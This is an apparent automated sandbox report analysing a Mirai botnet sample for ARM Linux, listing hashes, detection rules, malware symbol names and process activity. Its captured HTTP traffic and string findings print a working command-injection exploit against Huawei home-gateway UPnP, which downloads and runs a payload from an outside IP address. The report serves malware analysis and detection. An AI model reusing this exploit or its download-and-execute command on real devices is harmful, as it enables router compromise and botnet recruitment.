Create Interactive Tour

Linux Analysis Report
mW6l0hEXP3

Overview

General Information

Sample Name:	mW6l0hEXP3
Analysis ID:	666625
MD5:	2f34c6a4e1e6da200048f00dc57a7cf7
SHA1:	0c1a2f29522d6d6b21f04d19d5b4b8acd68cedec
SHA256:	d17a66ea508e9d60670ef5b78430471ba240cfaf506d7040a1f05818cc4a9904
Tags:	32armelfmirai
Infos:

Detection

Mirai

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Contains symbols with names commonly found in malware

Yara signature match

Reads system information from the proc file system

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Executes the "systemctl" command used for controlling the systemd system and service manager

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Deletes log files

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	666625
Start date and time: 17/07/202201:33:02	2022-07-17 01:33:02 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	mW6l0hEXP3
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal76.troj.lin@0/55@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/mW6l0hEXP3
PID:	6310
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	love you ~jun0
Standard Error:

Process Tree

system is lnxubuntu20

systemd New Fork (PID: 6202, Parent: 1)

logrotate (PID: 6202, Parent: 1, MD5: ff9f6831debb63e53a31ff8057143af6) Arguments: /usr/sbin/logrotate /etc/logrotate.conf

logrotate New Fork (PID: 6263, Parent: 6202)

gzip (PID: 6263, Parent: 6202, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6264, Parent: 6202)

sh (PID: 6264, Parent: 6202, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "

sh New Fork (PID: 6265, Parent: 6264)

invoke-rc.d (PID: 6265, Parent: 6264, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: invoke-rc.d --quiet cups restart

invoke-rc.d New Fork (PID: 6266, Parent: 6265)

runlevel (PID: 6266, Parent: 6265, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: /sbin/runlevel

invoke-rc.d New Fork (PID: 6267, Parent: 6265)

systemctl (PID: 6267, Parent: 6265, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-enabled cups.service

invoke-rc.d New Fork (PID: 6271, Parent: 6265)

ls (PID: 6271, Parent: 6265, MD5: e7793f15c2ff7e747b4bc7079f5cd4f7) Arguments: ls /etc/rc[S2345].d/S[0-9][0-9]cups

invoke-rc.d New Fork (PID: 6272, Parent: 6265)

systemctl (PID: 6272, Parent: 6265, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active cups.service

logrotate New Fork (PID: 6273, Parent: 6202)

gzip (PID: 6273, Parent: 6202, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6274, Parent: 6202)

sh (PID: 6274, Parent: 6202, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog

sh New Fork (PID: 6275, Parent: 6274)

rsyslog-rotate (PID: 6275, Parent: 6274, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/lib/rsyslog/rsyslog-rotate

rsyslog-rotate New Fork (PID: 6276, Parent: 6275)

systemctl (PID: 6276, Parent: 6275, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl kill -s HUP rsyslog.service

logrotate New Fork (PID: 6277, Parent: 6202)

gzip (PID: 6277, Parent: 6202, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6278, Parent: 6202)

gzip (PID: 6278, Parent: 6202, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 6279, Parent: 6202)

sh (PID: 6279, Parent: 6202, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/mail.info/var/log/mail.warn/var/log/mail.err/var/log/mail.log/var/log/daemon.log/var/log/kern.log/var/log/auth.log/var/log/user.log/var/log/lpr.log/var/log/cron.log/var/log/debug/var/log/messages

sh New Fork (PID: 6280, Parent: 6279)

rsyslog-rotate (PID: 6280, Parent: 6279, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/lib/rsyslog/rsyslog-rotate

rsyslog-rotate New Fork (PID: 6281, Parent: 6280)

systemctl (PID: 6281, Parent: 6280, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl kill -s HUP rsyslog.service

systemd New Fork (PID: 6203, Parent: 1)

install (PID: 6203, Parent: 1, MD5: 55e2520049dc6a62e8c94732e36cdd54) Arguments: /usr/bin/install -d -o man -g man -m 0755 /var/cache/man

systemd New Fork (PID: 6262, Parent: 1)

find (PID: 6262, Parent: 1, MD5: b68ef002f84cc54dd472238ba7df80ab) Arguments: /usr/bin/find /var/cache/man -type f -name *.gz -atime +6 -delete

systemd New Fork (PID: 6268, Parent: 1)

mandb (PID: 6268, Parent: 1, MD5: 1dda5ea0027ecf1c2db0f5a3de7e6941) Arguments: /usr/bin/mandb --quiet

mW6l0hEXP3 (PID: 6310, Parent: 6129, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/mW6l0hEXP3

mW6l0hEXP3 New Fork (PID: 6313, Parent: 6310)

mW6l0hEXP3 New Fork (PID: 6315, Parent: 6313)

mW6l0hEXP3 New Fork (PID: 6316, Parent: 6313)

mW6l0hEXP3 New Fork (PID: 6320, Parent: 6313)

mW6l0hEXP3 New Fork (PID: 6321, Parent: 6313)

mW6l0hEXP3 New Fork (PID: 6322, Parent: 6313)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
mW6l0hEXP3	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x13218:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x1328c:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13300:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13350:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x133c4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13454:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x134a8:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13520:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13570:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
mW6l0hEXP3	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x12d28:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
mW6l0hEXP3	MAL_ARM_LNX_Mirai_Mar13_2022	Detects new ARM Mirai variant	Mehmet Ali Kerimoglu a.k.a. CYB3RMX	0x1eb25:$attck1: attack.c 0x1eba3:$attck3: anti_gdb_entry 0x1ebb2:$attck4: resolve_cnc_addr 0x1f7b9:$attck7: attack_get_opt_ip
mW6l0hEXP3	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6315.1.00007fcc5c034000.00007fcc5c039000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x38b8:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3930:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x39a8:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3a00:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3a78:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3b10:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3b68:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3be0:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3c38:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
6310.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x13218:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x1328c:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13300:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13350:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x133c4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13454:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x134a8:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13520:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13570:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
6310.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x12d28:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6310.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6310.1.00007fcc5c034000.00007fcc5c039000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x38b8:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3930:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x39a8:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3a00:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3a78:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3b10:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3b68:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3be0:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x3c38:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
6315.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x13218:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x1328c:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13300:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13350:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x133c4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13454:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x134a8:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13520:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x13570:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
6315.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x12d28:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6315.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
Click to see the 3 entries

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 31 35 33 2e 32 30 33 2e 33 37 20 2d 6c 20 2f 74 6d 70 2f 73 6b 65 72 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 73 6b 65 72 65 3b 20 2f 74 6d 70 2f 73 6b 65 72 65 20 64 75 63 6b 79 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.153.203.37 -l /tmp/skere -r /x; /bin/busybox chmod 777 * /tmp/skere; /tmp/skere duckys)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Summary

Malicious sample detected (through community Yara rule)

Source: mW6l0hEXP3, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6310.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6315.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_app.c
Source: ELF static info symbol of initial sample	Name: attack_app_http
Source: ELF static info symbol of initial sample	Name: attack_get_opt_int
Source: ELF static info symbol of initial sample	Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample	Name: attack_get_opt_str
Source: ELF static info symbol of initial sample	Name: attack_gre.c
Source: ELF static info symbol of initial sample	Name: attack_gre_tcpfrag
Source: ELF static info symbol of initial sample	Name: attack_init
Source: ELF static info symbol of initial sample	Name: attack_method.c

Source: mW6l0hEXP3, type: SAMPLE	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: mW6l0hEXP3, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: mW6l0hEXP3, type: SAMPLE	Matched rule: MAL_ARM_LNX_Mirai_Mar13_2022 date = 2022-03-16, hash1 = 0283b72913b8a78b2a594b2d40ebc3c873e4823299833a1ff6854421378f5a68, author = Mehmet Ali Kerimoglu a.k.a. CYB3RMX, description = Detects new ARM Mirai variant
Source: 6315.1.00007fcc5c034000.00007fcc5c039000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6310.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6310.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6310.1.00007fcc5c034000.00007fcc5c039000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6315.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6315.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: mW6l0hEXP3	ELF static info symbol of initial sample: __gnu_unwind_execute
Source: mW6l0hEXP3	ELF static info symbol of initial sample: huawei_scanner.c
Source: mW6l0hEXP3	ELF static info symbol of initial sample: huaweiscanner_fake_time
Source: mW6l0hEXP3	ELF static info symbol of initial sample: huaweiscanner_rsck
Source: mW6l0hEXP3	ELF static info symbol of initial sample: huaweiscanner_scanner_init
Source: mW6l0hEXP3	ELF static info symbol of initial sample: huaweiscanner_scanner_kill
Source: mW6l0hEXP3	ELF static info symbol of initial sample: huaweiscanner_scanner_pid
Source: mW6l0hEXP3	ELF static info symbol of initial sample: huaweiscanner_scanner_rawpkt
Source: mW6l0hEXP3	ELF static info symbol of initial sample: huaweiscanner_setup_connection
Source: mW6l0hEXP3	ELF static info symbol of initial sample: scanner.c
Source: mW6l0hEXP3	ELF static info symbol of initial sample: scanner_init
Source: mW6l0hEXP3	ELF static info symbol of initial sample: scanner_kill
Source: mW6l0hEXP3	ELF static info symbol of initial sample: scanner_pid
Source: mW6l0hEXP3	ELF static info symbol of initial sample: scanner_rawpkt

Source: Initial sample	String containing 'busybox' found: $(/bin/busybox wget -g 45.153.203.37 -l /tmp/skere -r /x; /bin/busybox chmod 777 * /tmp/skere; /tmp/skere duckys)
Source: Initial sample	String containing 'busybox' found: ;httpurl=POST'=$(/bin/busybox wget -g 45.153.203.37 -l /tmp/skere -r /x; /bin/busybox chmod 777 * /tmp/skere; /tmp/skere duckys)

Source: classification engine

Classification label: mal76.troj.lin@0/55@0/0

Source: /tmp/mW6l0hEXP3 (PID: 6313)

Reads from proc file: /proc/stat

Jump to behavior

Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1582/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2033/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1612/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1579/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1699/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1335/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1698/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2028/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1334/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1576/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2025/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2146/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/910/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/912/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/517/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/759/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/918/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1594/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1349/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1623/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/761/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1622/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/884/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1983/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2038/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1344/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1465/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1586/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1860/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1463/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/800/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/801/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1629/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1627/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1900/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/491/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2050/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1877/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/772/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1633/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1599/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1632/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/774/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1477/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/654/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/896/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1476/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1872/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2048/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/655/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1475/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/656/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/777/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/657/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/658/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/419/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/936/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1639/maps	Jump to behavior
